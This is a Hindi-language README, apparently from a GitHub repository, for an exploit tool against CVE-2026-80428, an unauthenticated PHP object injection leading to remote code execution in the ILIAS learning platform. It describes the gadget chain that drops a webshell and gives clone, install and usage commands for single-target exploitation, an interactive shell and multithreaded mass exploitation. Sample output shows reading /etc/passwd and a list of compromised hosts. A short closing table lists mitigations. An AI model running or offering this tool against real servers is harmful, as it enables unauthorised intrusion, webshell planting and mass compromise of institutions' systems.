
ILIAS ≤ 9.21 / 10.9 / 11.2 — अनधिकृत PHP ऑब्जेक्ट इंजेक्शन (RCE)
CVE-2026-80428वेक्टर: Shibboleth बैक-चैनल लॉगआउट एंडपॉइंट
प्रभाव: वेब सर्वर उपयोगकर्ता के रूप में पूर्ण रिमोट कोड एक्ज़ीक्यूशन
गंभीरता: 🔴 गंभीर
CVE-2026-80428 एक गंभीर अनधिप्रमाणित PHP ऑब्जेक्ट इंजेक्शन भेद्यता है जो ILIAS लर्निंग मैनेजमेंट सिस्टम को प्रभावित करती है।
ltiauth.phpमें एक सत्र विषाक्तता प्रिमिटिव कोshib_logout.phpमें एक असुरक्षितunserialize()कॉल के साथ श्रृंखलाबद्ध करके, एक हमलावर मनमानी फ़ाइल लेखन और अंततः रिमोट कोड एक्ज़ीक्यूशन (RCE) प्राप्त कर सकता है — और यह सब बिना प्रमाणीकरण के।
| 🎯 पैरामीटर | 📋 मान |
|---|---|
| CVE ID | CVE-2026-80428 |
| प्रकार | PHP ऑब्जेक्ट इंजेक्शन → RCE |
| आवश्यक प्रमाणीकरण | ❌ कोई नहीं |
| हमला वेक्टर | नेटवर्क (HTTP/HTTPS) |
| CVSS स्कोर | 9.8 (गंभीर) |
flowchart LR
A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[💀 Webshell Dropped]
F -->|4. Execute| G[🔓 RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
चरण-दर-चरण:
ltiauth.php बिना सत्यापन के PHP सत्र के अंदर एक सीरियलाइज़्ड पेलोड संग्रहीत करता है।shib_logout.php एक तैयार किए गए Shibboleth LogoutNotification SOAP अनुरोध को प्रोसेस करता है और सत्र डेटा पर unserialize() को कॉल करता है।GuzzleHttp\Cookie\FileCookieJar गैजेट हमलावर-नियंत्रित पथ पर एक PHP webshell छोड़ने के लिए file_put_contents() को आमंत्रित करता है।| 🏷️ शाखा | ❌ असुरक्षित | ✅ पैच किया गया |
|---|---|---|
| 9.x | ≤ 9.21 | ≥ 9.22 |
| 10.x | ≤ 10.9 | ≥ 10.10 |
| 11.x | ≤ 11.2 | ≥ 11.3 |
🔥 मुख्य
|
💎 उपयोग में आसानी
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
आवश्यकताएँ:
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
विकल्प:
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|---|---|
--port | लक्ष्य पोर्ट | 443 |
--path | डिस्क पर ILIAS docroot | /var/www/ilias/public |
--host-header | कस्टम Host हेडर | — |
--timeout | अनुरोध टाइमआउट (सेकंड) | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
विकल्प:
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|---|---|
-l, --list | आवश्यक — लक्ष्य सूची फ़ाइल | — |
-t, --threads | समवर्ती वर्कर | 20 |
-o, --output | भेद्य लक्ष्यों के लिए आउटपुट फ़ाइल | ilias_vuln.txt |
--path | ILIAS docroot | /var/www/ilias/public |
--host-header | कस्टम Host हेडर | — |
--timeout | अनुरोध टाइमआउट (सेकंड) | 30 |
एक targets.txt फ़ाइल बनाएँ:
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
समर्थित प्रारूप:
hosthost:porthttp://hosthttps://host:porthost/path (पथ हटा दिया गया) [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
रक्षकों और सिस्टम प्रशासकों के लिए:
| 🛠️ कार्रवाई | 📝 विवरण |
|---|---|
| 🔼 ILIAS अपग्रेड करें | 9.22 / 10.10 / 11.3 या बाद का संस्करण |
| 🚫 Shibboleth अक्षम करें | यदि उपयोग नहीं हो रहा है — shib_logout.php हटा दें |
| 🧱 WAF नियम | विकृत SOAP LogoutNotification पेलोड को ब्लॉक करें |
| 📂 लेखन पहुँच प्रतिबंधित करें | वेब रूट www-data द्वारा लिखने योग्य नहीं होना चाहिए |
| 🔍 निगरानी करें | upload/cache डायरेक्टरी में अप्रत्याशित .php फ़ाइलों पर नज़र रखें |